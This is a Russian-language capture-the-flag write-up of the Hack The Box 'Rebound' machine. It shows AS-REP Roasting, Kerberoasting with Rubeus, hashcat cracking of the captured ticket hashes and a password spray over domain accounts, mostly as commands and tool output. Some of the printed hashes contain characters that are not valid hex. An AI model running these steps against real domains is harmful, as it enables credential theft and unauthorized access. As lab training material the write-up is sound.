

Пример атак Kerberoasting и AS-REP Roasting

 spy-soft.net/kerberoasting-example-as-rep-roasting

2 апреля 2024 г.



В этой небольшой статье, в рамках прохождения уязвимой виртуальной машины Rebound с площадки [Hack The Box](#), я продемонстрирую пример атаки Kerberoasting.

Еще по теме: [Kerbrute для атаки на Active Directory](#).

Итак, мы получили список пользователей и можем поспреить самые популярные пароли и проверив AS-REP Roasting.

Пример атаки AS-REP Roasting

Смысл атаки AS-REP Roasting в том, что атакующий отправляет на сервер аутентификации анонимный запрос для предоставления целевому пользователю доступа к какой-либо услуге. На что сервер имеет 3 разных ответа:

- предоставляет билет, откуда мы возьмем хэш;
- отвечает, что у этого пользователя не выставлен флаг PreauthNotRequired;
- говорит, что такого пользователя не существует в базе Kerberos.

Сделать это можно с помощью все того же [CrackMapExec](#).

```
1 crackmapexec ldap rebound.htb -u users.txt -p "" --asreproast asreproast_hashes.txt
```

```
(ralph@ralph-PC) ~/tmp/HTB/rebound
$ crackmapexec ldap rebound.htb -u users.txt -p "" --asreproast asreproast_hashes.txt
SMB rebound.htb 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
LDAP rebound.htb 445 DC01 94e5a5rep5235jjonasDR:REBOUND:HTB:92a8dfdzf5f7edc547ae6b134a9a51e4f35f68314777a3c7ee2edaaf1a946149b4707128de18d6b05c8be7e9acffe58ebbfe2256025477809
81505f6307ae6b3f4dfced8f2a9999c5caab94ba732bba14170014661869bf0e8406024e961428773657e73596965cc36f1824eccc368fe722d5bf3b325a687539b1d679411268fffe5c86f0af3df242fcea83f6df2fd43c9e4a04d2b2a5fe3f7ff0fe1626
62b9fc26c2945f8bd3ab41bab8be5dfbd51da1edf4220444156036df98a686b42eeb7842e2dece9044a1c7a59f1f27aa0f4763d556748be0965ce44c92ed5b5b27001b8af8cd6e65433f1fdbc64e6fd31d17daf0952a8797c
```

Результат проведения атаки AS-REP Roasting

Итак, в домене есть один пользователь, для которого не требуется предварительная аутентификации Kerberos, и мы получаем хеш его пароля. Для брута пароля в hashcat указываем режим **18200** (параметр -m) используя при этом словарь rockyou.txt.

CCC

```
1 hashcat -m 18200 asreproast_hashes.txt rockyou.txt
```

Перебор хеша с использование hashcat никаких результатов не дал.

Пример атаки Kerberoasting

Реализация протокола Kerberos в Windows использует имена участников службы (SPN) для определения того, какую учетную запись задействовать для шифрования билета службы. В Active Directory существует два варианта SPN: SPN на основе хоста и произвольные SPN. Первый вариант SPN связан с учетной записью компьютера домена, а второй обычно (но не всегда) — с учеткой пользователя домена (см. также Атака Kerberoasting).

Проще говоря, если запрошен билет, он шифруется паролем учетной записи, SPN которая его предоставила. Так, если мы получим билет, мы можем его просто пробрутить, чтобы получить пароль учетки! Хотя для этого и нужно пройти аутентификацию, но мы можем взять пользователя с прошлого этапа, для которого она не требуется. В этом варианте выполнить атаку можно с помощью Rubeus, для чего перейдем в виртуалку с Windows.

```
1 Rubeus.exe kerberoast /nopreauth:jjones /domain:rebound.htb /dc:10.10.11.231  
/spns:users.txt /ldaps /nowrap
```

```

[*] Target SPN : mmalone
[*] Using domain controller: 10.10.11.231

[*] Target SPN : nnoon
[*] Using domain controller: 10.10.11.231

[*] Target SPN : ldap_monitor
[*] Using domain controller: 10.10.11.231
[*] Hash : $krb5tgt$23$ldap_monitor$rebound.htb$ldap_monitor*$d2fbee5c69c1d4adfd7e19743888651a5a21c42fa0c11e2a66e1a458903844898e63539555df768c359263b16f50b87d9379dcb94041f7a612250d9109101E5E2a4c797f6480d6c323854a1c7EE95182a65a2a696898B8F27D8FF4BFCCEB3C5335A3BCD01441f7b929ABCE166C57597BEEC281F998A939E7AAB5359505F9820C13A4BC1B4C1E27E9A5AD18B0841F673415A18B8804E999F6536C5D04861D713E466A40120ACEAD73F63C38A28401F011B09697F65F8F4D3F3C33F89F907D9C5D1D8C73EE7FCF560458D56F8D4758A01D689F648964FEFD706D676D22B0A26BEA54DCE56CFD3AD5958181102438307917C6274703F08D4E15068358C17C22C00219D6F2B966579846DC58382A9D57A1E64512BE25A98A6814558C798082A6449E96F72F532AB08BC7FCFE335D708DC145A498623246996FDE13E2527F0A7A5F848056F03AB1FF0857DC6F75CBEF97AE18CAF1125569CSF1DE61C657954A525CECF503B882B70F4CE43A73026E19F1FBE411425A63896F8CEA37F8268AD90C3A85980424E01A850D1138B0966748B568660583B05893A8735DC38F22A1B0CF2A1A371AD24535801EC3A33B11E2C8C772EC708725105C83A38CFCCF8917AB443251D41C0F05AC3F9E9EF41F504353CBA4216E775A1CEA5D0979C8A209774EC2014082BB580A5929A1333480EAF17B6799CF3C9232FF46720868ABEFD18ED6557640E80423E469A97F3FE2158C6F1D14F031ACD034C81BE29E0B48F77A99F05129480F258089808B8EFD3094787407213C8C898E89371A5402A6A685D0821D2C1E1819704224DEDDC0869667EE78AA28C8099F1E1CED087CDE91AE3E387891B88DE2A519189364CCE4254938A08CA885483811FC097848D124E502A02861FD2E113C125856F018CC0815C76AA0D1D8EEFC8E958991738A7A36D7F5EEC79C5A469868B9E9755449D20151B5F686FFF13BC49F7E97066F342B0D5ACCCDEF61F26613DDEE9E8E068094F3A209918D14E6F3C956A6C83788575101E675A3C765C29B31FBET7787A9EC7293C87D29C1287989A03D3D18E32F4BC3110508ED58848F0D258C3A176CDBAD16E7F37E80D7F30A2B879041543AF6514D96C0630025941743651F46D98E06338378F2D5EA04073C48645E032248605D5FF3985A72538742F715442748AB8D2954CF8858F3F75787A3734C5C7822E31C4BF5527F534113696C1578C66067A0BE940D6195B3E718A712D13A2CAC9C8F6E52A5BAF6D9115DE081B4C2F468E7EA68B857E7357FF8E72373F00833349BE35A2742D8482927826A3502D7D86D

[*] Target SPN : oorend
[*] Using domain controller: 10.10.11.231

[*] Target SPN : ServiceMgmt
[*] Using domain controller: 10.10.11.231

[*] Target SPN : winrm_svc
[*] Using domain controller: 10.10.11.231

[*] Target SPN : batch_runner
[*] Using domain controller: 10.10.11.231

[*] Target SPN : tbrady
[*] Using domain controller: 10.10.11.231

[*] Target SPN : delegator$
[*] Using domain controller: 10.10.11.231
[*] Hash : $krb5tgt$18$delegator$rebound.htb$delegator*$7E20EC8F31A7C73425D05A44BAF132D2F68138F9B65FD5083E1AB79D23238D82D5E6394925A9E5874089012624EE82F05FB2B04880B95A2841EDD9597D9F8345F60CA96CFD6C7D73C5E83755D0A13134088EEBC1C2F7BF67E2874571B08008AFD54ACE375EC3CE676495C408634AF886E805A291CABCD099FDE0F2F35E501D91EE08F7438BA7CFCCB2393706CDS8A084455B624E46A0278141F08F811975E28D40D994A8E931578C0975E127DCC1A50AF876D00E8BC5291A8E466CAF7FEA28B83862CA11CAC0D1A6E7F38A563D1B68E368920D2546402A8AD77082458F098835531580D131C0D3E717CF908F053CE11CB41D8619986196FE3E8A521C20A4F5C649A39A27A409D10CEA259CE3384C37553F42CA586E6C3BD7FC8BA138965C3395599490A270102A2909166238EAB12C3802ACE30FC908BD0FC96A18808A281D968869E7E0A3B7D8127722080A0ACBF5A087C62ABED1311062AADD985A63E8632EAD38CF8CC748E8E8CA0A6077B9796D365F8DAB0DCA69E1F697E4A832D1487FFF682E6A8EAC4E136C9D69651681058872D892D59982EC3B4F10485A7241FEED049021D58E1A9D0C19F8C09434437B295F5AC6AF8A72D547888AD586C92A5F8FAF6669411079280F564E823A38582816F82B08F98AEF87C0152E428F6726D09BC9E3A7ED3E406C79BEF582F8A0B31F817109C72CA54SEB08A1FC28F9F5BA8E74959F0BD12AF829C785B8C985080EC6422D1A484C22DFAE6E79203987990D10ABEE6D0D5E184C35128BEC9E8951A28F2C50C6F69C8729613868987D40D484CB9F51C5432E2D97563EE128738CF56A8723A373485A8173D9125E8B24DEF3AB822761E9FF0A85A8E03A707082C26994FB8833C01D03044A8B05C3406D173E639071EE44E0A878E179E1F48D29A3ACC50F82EC243469388D9A0245C8B87D0E25418F3618174F309768121A5D0E730F6984011CD2981A094820F9852C923E6C8708FE53CFD24C24CD881810E5885A9828406346EAC239E97C2A8083E89C538756A278233140722C4608E36017C9C5582F97D1E99C6088F797FC6A40D05CACAB20D007075F82E123D0A90F9084CE1E583669108885314A45812A8A86C72ED7007156611E7F58C877838C0C368B61633FFA2B86A1E2A92F8918BF1780DF440C26A83CDD0E9A34CEE73F98C26CF084331EDF46A6E8CA68D9FADCCCE68598177438EF43198F6ED2B8D0C683B01F6D90882CC56CD203538F125605E8F6787E4F9D0848D6C54121F4B83A2F5C68A28A787DC966F127

```

Результат выполнения атаки Kerberoasting

Получаем хеши пользователей ldap_monitor и delegator\$, которые сразу отправляем на брут в hashcat.

```
1 hashcat -m 13100 kerberoasting_users.txt rockyou.txt
```

```

$krb5tgt$23$ldap_monitor$rebound.htb$ldap_monitor*$d2fbee5c69c1d4adfd7e19743888651a5a21c42fa0c11e2a66e1a458903844898e63539555df768c359263b16f50b87d9379dcb94041f7a612250d9109101E5E2a4c797f6480d6c323854a1c7EE95182a65a2a696898B8F27D8FF4BFCCEB3C5335A3BCD01441f7b929ABCE166C57597BEEC281F998A939E7AAB5359505F9820C13A4BC1B4C1E27E9A5AD18B0841F6733415A18B8804E999F6536C5D04861D713E466A40120ACEAD73F63C38A28401F011B09697F65F8F4D3F3C33F89F907D9C5D1D8C73EE7FCF560458D56F8D4758A01D689F648964FEFD706D676D22B0A26BEA54DCE56CFD3AD5958181102438307917C6274703F08D4E15068358C17C22C00219D6F2B966579846DC58382A9D57A1E64512BE25A98A6814558C798082A6449E96F72F532AB08BC7FCFE335D708DC145A498623246996FDE13E2527F0A7A5F848056F03AB1FF0857DC6F75CBEF97AE18CAF1125569CSF1DE61C657954A525CECF503B882B70F4CE43A73026E19F1FBE411425A63896F8CEA37F8268AD90C3A85980424E01A850D1138B0966748B568660583B05893A8735DC38F22A1B0CF2A1A371AD24535801EC3A33B11E2C8C772EC708725105C83A38CFCCF8917AB443251D41C0F05AC3F9E9EF41F504353CBA4216E775A1CEA5D0979C8A209774EC2014082BB580A5929A1333480EAF17B6799CF3C9232FF46720868ABEFD18ED6557640E80423E469A97F3FE2158C6F1D14F031ACD034C81BE29E0B48F77A99F05129480F258089808B8EFD3094787407213C8C898E89371A5402A6A685D0821D2C1E1819704224DEDDC0869667EE78AA28C8099F1E1CED087CDE91AE3E387891B88DE2A519189364CCE4254938A08CA885483811FC097848D124E502A02861FD2E113C125856F018CC0815C76AA0D1D8EEFC8E958991738A7A36D7F5EEC79C5A469868B9E9755449D20151B5F686FFF13BC49F7E97066F342B0D5ACCCDEF61F26613DDEE9E8E068094F3A209918D14E6F3C956A6C83788575101E675A3C765C29B31FBET7787A9EC7293C87D29C1287989A03D3D18E32F4BC3110508ED58848F0D258C3A176CDBAD16E7F37E80D7F30A2B879041543AF6514D96C0630025941743651F46D98E06338378F2D5EA04073C48645E032248605D5FF3985A72538742F715442748AB8D2954CF8858F3F75787A3734C5C7822E31C4BF5527F534113696C1578C66067A0BE940D6195B3E718A712D13A2CAC9C8F6E52A5BAF6D9115DE081B4C2F468E7EA68B857E7357FF8E72373F00833349BE35A2742D8482927826A3502D7D86D:1GR8t@$4u

Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 13100 (Kerberos 5, etype 23, TGS-REP)

```

Результат взлома хешей

Получаем пароль для учетки ldap_monitor. Наш единственный пароль спремим по остальным учеткам и получаем еще одну валидную пару из логина и пароля — для пользователя oorend.

```
1 crackmapexec smb 10.10.11.231 -u users.txt -p '1GR8t@$4u' --continue-on-success
```

```

└─$ crackmapexec smb 10.10.11.231 -u users.txt -p '1GR8t@$4u' --continue-on-success
SMB 10.10.11.231 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.231 445 DC01 [-] rebound.htb\Administrator:1GR8t@$4u STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\ppaul:1GR8t@$4u STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\LLUNE:1GR8t@$4u STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\fflock:1GR8t@$4u STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\jjones:1GR8t@$4u STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\mmalone:1GR8t@$4u STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\nnoon:1GR8t@$4u STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [+] rebound.htb\ldap_monitor:1GR8t@$4u
SMB 10.10.11.231 445 DC01 [+] rebound.htb\oorend:1GR8t@$4u
SMB 10.10.11.231 445 DC01 [+] rebound.htb\ServiceMgmt:1GR8t@$4u
SMB 10.10.11.231 445 DC01 [-] rebound.htb\winrm_svc:1GR8t@$4u STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\batch_runner:1GR8t@$4u STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\tbrady:1GR8t@$4u STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\delegator$:1GR8t@$4u STATUS_LOGON_FAILURE

```

Результат спрея пароля

Теперь перейдем к сбору данных для BloodHound.

ПОЛЕЗНЫЕ ССЫЛКИ:

- Создание стенда для атак на Active Directory
- Уклонение от Honeytoken при атаке Active Directory